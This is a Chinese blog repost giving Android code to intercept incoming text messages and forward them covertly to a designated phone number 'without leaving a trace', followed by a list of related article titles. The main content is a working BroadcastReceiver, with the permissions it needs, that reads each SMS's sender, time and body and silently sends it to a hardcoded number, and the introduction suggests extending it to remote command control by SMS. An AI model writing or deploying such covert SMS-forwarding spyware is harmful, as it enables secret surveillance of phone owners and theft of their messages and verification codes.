Android实现短信监听并且转发到指定的手机号,转发后不留痕
2013-08-13 17:00
281 查看
转载:http://blog.csdn.net/swqqcs/article/details/7252419
通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下,说一下简单的原理,要实现控制的话,必须得走一个固定的号码,固定的格式,然后通过得到此号码的内容,然后通过固定的内容,就可以了解需要做什么,再执行相应的代码,即可!代码很简单了!
在使用过程中的需要添加如下权限:
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.READ_SMS"></uses-permission> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
代码如下:
import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class SMS extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub // 监听短信广播 if (intent.getAction() .equals("android.provider.Telephony.SMS_RECEIVED")) { Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 获取短信内容 for (Object pdu : pdus) { byte[] data = (byte[]) pdu; SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信数据生成短信对象 String sender = message.getOriginatingAddress();// 获取短信的发送者 String content = message.getMessageBody();// 获取短信的内容 Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendtime = format.format(date); SmsManager manager = SmsManager.getDefault(); manager.sendTextMessage("5556", null, "发送人:" + sender + "-----发送时间:" + sendtime + "----内容:" + content, null, null);// 把拦截到的短信发送到你指定的手机,此处为5556 } } } }
相关文章推荐
- Android实现短信监听并且转发到指定的手机号,转发后不留痕
- Android实现短信监听并且转发到指定的手机号,转发后不留痕
- Android实现短信监听并且转发到指定的手机号,转发后不留痕
- Android使用ContentObserver监听数据库变化 接受指定号码的短信,并且不让系统截取到通知用户
- Android使用ContentObserver监听数据库变化 接受指定号码的短信,并且不让系统截取到通知用户
- Android发送短信,并监听短信发送后是否发送成功的实现方法
- android实现短信自动转发
- Android实现双模(CDMA/GSM)手机短信监听的方法
- android基础笔记——广播接收者,实现短信监听
- Android短信的发送和广播接收者实现短信的监听
- Android短信监听(三)——利用Loader实现短信监听
- android删除指定手机号的短信
- android--监听短信实现短信验证码自动填充
- Android利用BroadcastReceiver实现短信监听
- Android实战简易教程<三十六>(监听短信-实现短信验证码自动填入)
- android实现短信监听
- Android短信监听(三)——利用Loader实现短信监听
- Android 截取指定号码的短信,并且不让系统获取短信通知用户
- 【娱乐】Android实现监听通话、发送短信
- Android 利用广播实现指定号码的短信的拦截 附源码下载链接